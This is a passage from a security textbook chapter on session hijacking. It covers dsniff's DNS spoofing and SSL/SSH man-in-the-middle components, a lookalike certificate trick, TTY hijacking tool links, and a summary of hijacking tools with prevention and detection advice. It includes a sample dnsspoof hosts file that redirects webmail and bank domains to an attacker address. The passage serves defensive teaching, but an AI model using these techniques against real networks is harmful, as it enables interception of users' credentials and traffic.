would find that this certificate is marked “Issued to:VerySign Class 1 Authority.” It’s a cute play on words (VerySign instead of VeriSign), which would slip right by most of the user populace.This is more a social attack on people’s ignorance than it is technological wizardry. Dsniff Dsniff is a suite of tools that allow passive attacks and sniffing on TCP sessions. Certain functions, webmitm and sshmitm, also allow this program to do “double duty” for MITM attacks on both SSH1 and SSL connections. It does this by first www.syngress.com Figure 11.9 SSL Certificate Warning from Web Browser Figure 11.10 Certificate Information 436 Chapter 11 • Session Hijacking implementing DNS spoofing (see the “UDP Hijacking” section earlier) with dnsspoof to fool the participating host into thinking that that the Secure HTTP (HTTPS) or SSH connection is indeed the host to which they intended to connect. For example, after an entry for the SSL domain the hacker wants to spoof is added to the dnsspoof hosts file, the webmitm component presents a self-signed certificate to the user with webmitm relaying the sniffed traffic to the real domain. The legitimate domain’s reply is sent through the attacker back to the host that requested the session. All subsequent communication on this channel takes place through the attacker’s system. A typical dnsspoof host file contents look something like this: 192.168.1.103 *.hotmail.com 192.168.1.103 *.anybank.com Other Hijacking The other thing we hear is hijacked frequently is terminal sessions. CERT issued an advisory about these attacks taking place in the wild back at the beginning of 1995; you can find these alerts at www.cert.org/advisories/CA-1995-01.html. CERT is not one to give out tools or many attack details, so we don’t know exactly what tool was being used in that instance. However, a number of tools along those lines were publicly released over the next couple of years following the CERT advisory. Here’s a list of some of them: TTY Hijacker for Linux and FreeBSD at www.phrack.org/show.php?p=51&a=5. Linux kernel loadable module for TTY hijacking at www.phrack.org/show.php?p=50&a=5. Hole in pppd (if setuid root) allows for MITM attacks against TTYs at securityfocus.com/archive/1/8035. This is far from a complete list. If you have need of a terminal/TTY hijacker, your best bet would be to do a search for such for the particular OS you need. Note that most of the time you need to be root or have a security hole to exploit. In this chapter, we covered a number of tools that can be used for attacking as well as defending.You’ll want your employees to be able to use both so that they are familiar with how they work and what they look like on a network.This www.syngress.com Session Hijacking • Chapter 11 437 goal will probably require a small lab of some sort, and you’ll have to make sure your employees have the time to experiment. In order to catch a hacker, you’ve got to think like one. Just as military personnel must know their enemy before confronting them, so must the security professional know the hacker. By knowing what weapons hackers use, how they use them, and when they are most effective, you could very well avoid becoming a part of the next statistic in the latest info security magazine studies.There are many resources available, and sometimes it can seem a bit overwhelming to keep track of them, but it’s a part of the job that must be done regularly. An easier way to get a handle on this deluge of information is by checking www.securityfocus.com/tools, http://sourceforge.net, http://packetstormsecurity.org, and www.wiretrip.net.A quick search should yield the results you desire. Yes, a great many resources are dedicated to security.A tremendous effort might not be required for your environment, but if it is, this is what it’s going to cost. Security is expensive. www.syngress.com Required Reading If you want to be truly proactive in your security efforts, you need to require that your employees read the same information sources that the bad guys do. These sources include various mailing lists, such as Bugtraq, NTBugtraq, vuln-dev, and others. (For more information on security-reporting mailing lists, please see Chapter 18.) They should also read the magazines Phrack and 2600 and watch Web sites such as SecurityFocus.com for new papers, headlines, and articles. All this reading can be somewhat time consuming, but if you’re going to do better than simply apply patches when they come out, this is what it’s going to take. Tools & Traps… 438 Chapter 11 • Session Hijacking Summary In this chapter, we covered session hijacking and looked at examples of how it is done for TCP, UDP, and others.We went over in detail what happens on a packet level when an attacker hijacks (desynchronizes) a TCP connection. Problems with hijacking TCP connections include ARP storms, the commands being displayed on the victim’s screen, and difficulty with resynchronizing the original client and server. We looked at the use of four session-hijacking tools: Juggernaut, Hunt, dsniff, and Ettercap. Juggernaut is an older tool that can do simple sniffing, session hijacking, and connection reset. Hunt performs those functions as well as allowing for ARP hijacking and packet relaying in order to help eliminate ACK storms. Ettercap and dsniff do all these things and are also useful for session hijacking with crypted protocols. All are freely available and run on the Linux platform. There are two main mechanisms for dealing with hijacking problems: prevention and detection.The main way to protect against hijacking is encryption. It should be noted that this method applies mainly to network traffic; terminal hijackers might still work just fine even if an encrypted protocol is used on the wire. But as we’ve seen illustrated in this chapter, even some forms of encryption are not a guarantee.The two main keys to successful prevention with encrypted protocols include user education and awareness and using streamed ciphered protocols such as IPSec.The other mechanism is detection. Most hijacking techniques produce anomalous traffic or behavior (such as connections being reset, or “hanging,”ACK storms, or strange garbage appearing onscreen).Tools can be and have been written to watch for some of the signs of these types of attacks. Solutions Fast Track Understanding Session Hijacking The point of hijacking a connection is to steal trust. Hijacking is a race scenario: Can the attacker get an appropriate response packet in before the legitimate server or client can? In most cases, the answer is probably yes, as long as the attacker can script the attack. He’d need a tool that would watch for the request, then produce the response he wanted to fake as quickly as possible and then drop that on the wire. www.syngress.com Session Hijacking • Chapter 11 439 Anomalous behaviors (changes in protocol communications or increases in ARP traffic) result from hijacking attempts that either host or perhaps an intrusion detection system (IDS) can be configured to spot. Attackers can remotely modify routing tables to redirect packets or get a system into the routing path between two hosts. Attackers might spoof Internet Control Message Protocol (ICMP) and redirect packets to fool some hosts into thinking that there is a better route via the attacker’s IP address. Modifying an open source, UNIX-like operating system to not decrement the Time to Live (TTL) and not send ICMP unreachables could go a long way toward evading traceroute detection. In an ARP attack, when a victim machine broadcasts for the Media Access Control (MAC) address that belongs to a particular IP address (perhaps the victim’s default gateway), all an attacker has to do is answer before the real machine being requested does. Examining Available Tools Juggernaut, created by route, is the pioneering sniffing and sessionhijacking tool; it has extensive functionality and runs on arbitrary Transmission Control Protocol (TCP) ports. Juggernaut is very interesting although no longer being developed. Hunt, created by Pavel Krauz, is similar to Juggernaut but adds ARP spoofing tools. Ettercap is a multipurpose program used primarily for sniffing, capturing, and logging traffic on switched local area networks (LANs), and supports both passive and active dissections of various protocols. SMBRelay is a program written by SirDystic of cDc that allows for Server Message Block (SMB) hijacking by forcing the client to be disconnected after he has authenticated and takes over the existing SMB session using the same credentials. ARP games and TCP session hijacking can be very noisy.The timing and duplication of ACKs exchanged between hosts in a hijacked session result in an ACK storm. It would be possible to build a tool that www.syngress.com 440 Chapter 11 • Session Hijacking watched for responses, calculated a hash of the packet, and then stored that for a period of time. If another packet comes in with appropriately matching characteristics but the hash doesn’t match, you might have a problem. Playing MITM for Encrypted Communications Widely deployed encryption is one easy way to make many networkhijacking attacks much more difficult. SSH2 can replace the functionality of Telnet, FTP, rlogin, and rcp. In addition, you can tunnel other protocols such as HTTP or X Windows over an SSH2 connection. Man in the middle (MITM) attacks are probably the most productive types of attacks used today in conjunction with encrypted protocol hijacking and connec |